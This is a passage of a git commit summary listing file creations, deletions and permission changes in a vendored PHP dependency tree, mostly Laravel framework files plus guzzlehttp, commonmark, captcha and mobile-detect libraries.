vendor/guzzlehttp/psr7/.github/workflows/static.yml create mode 100644 vendor/guzzlehttp/psr7/.php_cs.dist create mode 100644 vendor/guzzlehttp/psr7/CHANGELOG.md create mode 100644 vendor/guzzlehttp/psr7/src/UriComparator.php mode change 100644 => 100755 vendor/intervention/image/src/Intervention/Image/ImageServiceProviderLaravel4.php create mode 100644 vendor/jakub-onderka/php-console-color/.travis.yml create mode 100644 vendor/jakub-onderka/php-console-color/phpunit.xml create mode 100644 vendor/jakub-onderka/php-console-color/tests/ConsoleColorTest.php create mode 100644 vendor/jakub-onderka/php-console-highlighter/.travis.yml create mode 100644 vendor/jakub-onderka/php-console-highlighter/examples/snippet.php create mode 100644 vendor/jakub-onderka/php-console-highlighter/examples/whole_file.php create mode 100644 vendor/jakub-onderka/php-console-highlighter/examples/whole_file_line_numbers.php create mode 100644 vendor/jakub-onderka/php-console-highlighter/phpunit.xml create mode 100644 vendor/jakub-onderka/php-console-highlighter/tests/JakubOnderka/PhpConsoleHighligter/HigligterTest.php create mode 100644 vendor/jakub-onderka/php-console-highlighter/tests/bootstrap.php create mode 100644 vendor/jaybizzle/crawler-detect/.github/workflows/php-cs-fixer.yml create mode 100644 vendor/jaybizzle/crawler-detect/.github/workflows/test.yml create mode 100644 vendor/jaybizzle/crawler-detect/.php_cs.dist mode change 100644 => 100755 vendor/laravel/framework/composer.json mode change 100644 => 100755 vendor/laravel/framework/readme.md mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Auth/AuthServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Auth/DatabaseUserProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Auth/EloquentUserProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Auth/Guard.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Auth/Passwords/DatabaseTokenRepository.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordResetServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Auth/Passwords/TokenRepositoryInterface.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Auth/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/ApcStore.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/ApcWrapper.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/ArrayStore.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/CacheManager.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/CacheServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/Console/ClearCommand.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/DatabaseStore.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/FileStore.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/MemcachedConnector.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/MemcachedStore.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/NullStore.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/RedisStore.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/Repository.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/WinCacheStore.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/XCacheStore.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cache/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Config/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Console/Application.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Console/Command.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Console/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Container/Container.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Container/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Contracts/Support/Arrayable.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Contracts/Support/Jsonable.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Contracts/Support/MessageProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Contracts/Support/Renderable.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cookie/CookieJar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cookie/CookieServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Cookie/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Capsule/Manager.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Connection.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/ConnectionInterface.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/ConnectionResolver.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/ConnectionResolverInterface.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Connectors/ConnectionFactory.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Connectors/ConnectorInterface.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Connectors/MySqlConnector.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Connectors/PostgresConnector.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Connectors/SQLiteConnector.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Connectors/SqlServerConnector.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/BaseCommand.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/InstallCommand.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/MigrateCommand.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/RefreshCommand.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/ResetCommand.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/RollbackCommand.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/DatabaseServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Collection.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/MassAssignmentException.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/ModelNotFoundException.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/BelongsTo.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/BelongsToMany.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/HasMany.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/HasOne.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/HasOneOrMany.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/MorphMany.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/MorphOne.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/MorphOneOrMany.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/Pivot.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/Relation.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Grammar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/MigrationServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Migrations/DatabaseMigrationRepository.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Migrations/Migration.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Migrations/MigrationCreator.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Migrations/MigrationRepositoryInterface.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Migrations/Migrator.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Migrations/stubs/blank.stub mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Migrations/stubs/create.stub mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Migrations/stubs/update.stub mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/MySqlConnection.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/PostgresConnection.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Query/Expression.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/Grammar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/MySqlGrammar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/PostgresGrammar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/SQLiteGrammar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/SqlServerGrammar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Query/JoinClause.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Query/Processors/PostgresProcessor.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Query/Processors/Processor.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Query/Processors/SqlServerProcessor.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/README.md mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/SQLiteConnection.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Schema/Blueprint.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Schema/Builder.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/Grammar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/MySqlGrammar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/PostgresGrammar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/SQLiteGrammar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/SqlServerGrammar.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Schema/MySqlBuilder.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Schema/PostgresBuilder.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/SeedServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/Seeder.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/SqlServerConnection.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Database/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Encryption/EncryptionServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Encryption/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Events/EventServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Events/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Foundation/AliasLoader.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Foundation/Application.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Foundation/Composer.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Foundation/ProviderRepository.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Foundation/Providers/ArtisanServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Foundation/Providers/ComposerServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Foundation/Testing/TestCase.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Hashing/BcryptHasher.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Hashing/HashServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Hashing/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Http/JsonResponse.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Http/RedirectResponse.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Http/Request.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Http/Response.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Http/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Log/Writer.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Log/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Mail/MailServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Mail/Mailer.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Mail/Message.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Mail/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Pagination/PaginationServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Pagination/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/BeanstalkdQueue.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Connectors/BeanstalkdConnector.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Connectors/ConnectorInterface.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Connectors/IronConnector.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Connectors/SqsConnector.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Connectors/SyncConnector.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Console/ListenCommand.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Console/SubscribeCommand.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/IlluminateQueueClosure.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/IronQueue.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Jobs/BeanstalkdJob.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Jobs/IronJob.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Jobs/SqsJob.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Jobs/SyncJob.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Listener.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Queue.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/QueueManager.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/QueueServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/SqsQueue.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/SyncQueue.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/Worker.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Queue/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Redis/Database.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Redis/RedisServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Redis/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Routing/Console/ControllerMakeCommand.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Routing/Redirector.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Routing/Route.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Routing/Router.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Routing/RoutingServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Routing/UrlGenerator.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Routing/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Session/CacheBasedSessionHandler.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Session/CommandsServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Session/Console/stubs/database.stub mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Session/CookieSessionHandler.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Session/SessionManager.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Session/SessionServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Session/Store.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Session/TokenMismatchException.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Session/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Arr.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Collection.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/App.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Artisan.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Auth.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Blade.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Cache.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Config.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Cookie.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Crypt.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/DB.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Event.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/File.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Hash.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Input.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Lang.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Log.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Mail.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Password.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Queue.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Redirect.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Redis.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Request.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Response.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Route.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Schema.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Session.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/URL.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/Validator.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Facades/View.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Fluent.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Manager.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/MessageBag.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/NamespacedItemResolver.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Pluralizer.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/ServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/Str.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Support/helpers.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Translation/FileLoader.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Translation/LoaderInterface.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Translation/TranslationServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Translation/Translator.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Translation/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Validation/DatabasePresenceVerifier.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Validation/Factory.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Validation/PresenceVerifierInterface.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Validation/ValidationServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Validation/Validator.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/Validation/composer.json mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/Compilers/Compiler.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/Compilers/CompilerInterface.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/Engines/CompilerEngine.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/Engines/Engine.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/Engines/EngineInterface.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/Engines/EngineResolver.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/Engines/PhpEngine.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/Factory.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/View.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/ViewFinderInterface.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/ViewServiceProvider.php mode change 100644 => 100755 vendor/laravel/framework/src/Illuminate/View/composer.json create mode 100644 vendor/league/commonmark-ext-table/CHANGELOG.md create mode 100644 vendor/league/commonmark/.github/ISSUE_TEMPLATE/1_Bug_report.md create mode 100644 vendor/league/commonmark/.github/ISSUE_TEMPLATE/2_Feature_request.md create mode 100644 vendor/league/commonmark/.github/ISSUE_TEMPLATE/3_Security_issue.md create mode 100644 vendor/league/commonmark/CHANGELOG.md mode change 100644 => 100755 vendor/league/commonmark/bin/commonmark create mode 100644 vendor/mews/captcha/.travis.yml create mode 100644 vendor/mews/captcha/Makefile create mode 100644 vendor/mews/captcha/phpunit.xml create mode 100644 vendor/mews/captcha/tests/Captcha/CaptchaServiceProviderTest.php create mode 100644 vendor/mews/captcha/tests/Captcha/CaptchaTest.php delete mode 100644 vendor/mobiledetect/mobiledetectlib/docs/CONTRIBUTING.md delete mode 100644 vendor/mobiledetect/mobiledetectlib/docs/HISTORY.md delete mode 100644 vendor/mobiledetect/mobiledetectlib/docs/ISSUE_TEMPLATE.md delete mode 100644 vendor/mobiledetect/mobiledetectlib/docs/KNOWN_LIMITATIONS.md delete mode 100644 vendor/mobiledetect/mobiledetectlib/export/exportToJSON.php create mode 100755 vendor/mobiledetect/mobiledetectlib/tests/BasicsTest.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/UA_List.inc.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/UA_List.pending.txt create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/UserAgentTest.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/VendorsTest_tmp.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/bootstrap.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/phpunit.xml create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/AOC.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Acer.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Alcatel.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Allview.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Amazon.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Apple.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Archos.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Asus.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Blackberry.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Dell.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Google.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/HP.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/HTC.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Huawei.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/LG.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Lava.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Leader.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Lenovo.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Mi.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Microsoft.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Motorola.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Mpman.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Nexus.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Nokia.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Onda.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Others.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Prestigio.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Samsung.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Sony.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/SpecialCases.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Verizon.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/Vodafone.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/providers/vendors/ZTE.php create mode 100644 vendor/mobiledetect/mobiledetectlib/tests/ualist.json mode change 100644 => 100755 vendor/modstart/modstart/asset/vendor/photoswipe/default-skin/default-skin.css mode change 100644 => 100755 vendor/modstart/modstart/asset/vendor/photoswipe/default-skin/default-skin.png mode change 100644 => 100755 vendor/modstart/modstart/asset/vendor/photoswipe/default-skin/default-skin.svg mode change 100644 => 100755 vendor/modstart/modstart/asset/vendor/photoswipe/default-skin/preloader.gif mode change 100644 => 100755 vendor/modstart/modstart/asset/vendor/photoswipe/photoswipe-ui-default.js mode change 100644 => 100755 vendor/modstart/modstart/asset/vendor/photoswipe/photoswipe.css mode change 100644 => 100755 vendor/modstart/modstart/asset/vendor/photoswipe/photoswipe.js mode change 100644 => 100755 vendor/modstart/modstart/migrations/2015_12_22_213911_create_config.php mode change 100644 => 100755 vendor/modstart/modstart/migrations/2015_12_22_215956_create_data.php mode change 100644 => 100755 vendor/modstart/modstart/migrations/2015_12_22_215956_create_data_temp.php mode change 100644 => 100755 vendor/modstart/modstart/migrations/2018_05_07_000000_modify_data_driver.php mode change 100644 => 100755 vendor/modstart/modstart/migrations/2021_01_01_000000_create_admin.php mode change 100644 => 100755 vendor/modstart/modstart/migrations/2021_01_01_000000_create_admin_upload.php mode change 100644 => 100755 vendor/modstart/modstart/migrations/2021_11_22_000000_modify_data_temp_path_length.php mode change 100644 => 100755 vendor/modstart/modstart/migrations/2022_03_13_000000_data_add_md5.php mode change 100644 => 100755 vendor/modstart/modstart/migrations/2022_09_27_000000_data_add_index.php mode change 100644 => 100755 vendor/modstart/modstart/resources/asset/src/lib/jqueryLazyload.js mode change 100644 => 100755 vendor/modstart/modstart/resources/asset/src/lib/share-js/css/share.less mode change 100644 => 100755 vendor/modstart/modstart/resources/asset/src/lib/share-js/jquery.share.js mode change 100644 => 100755 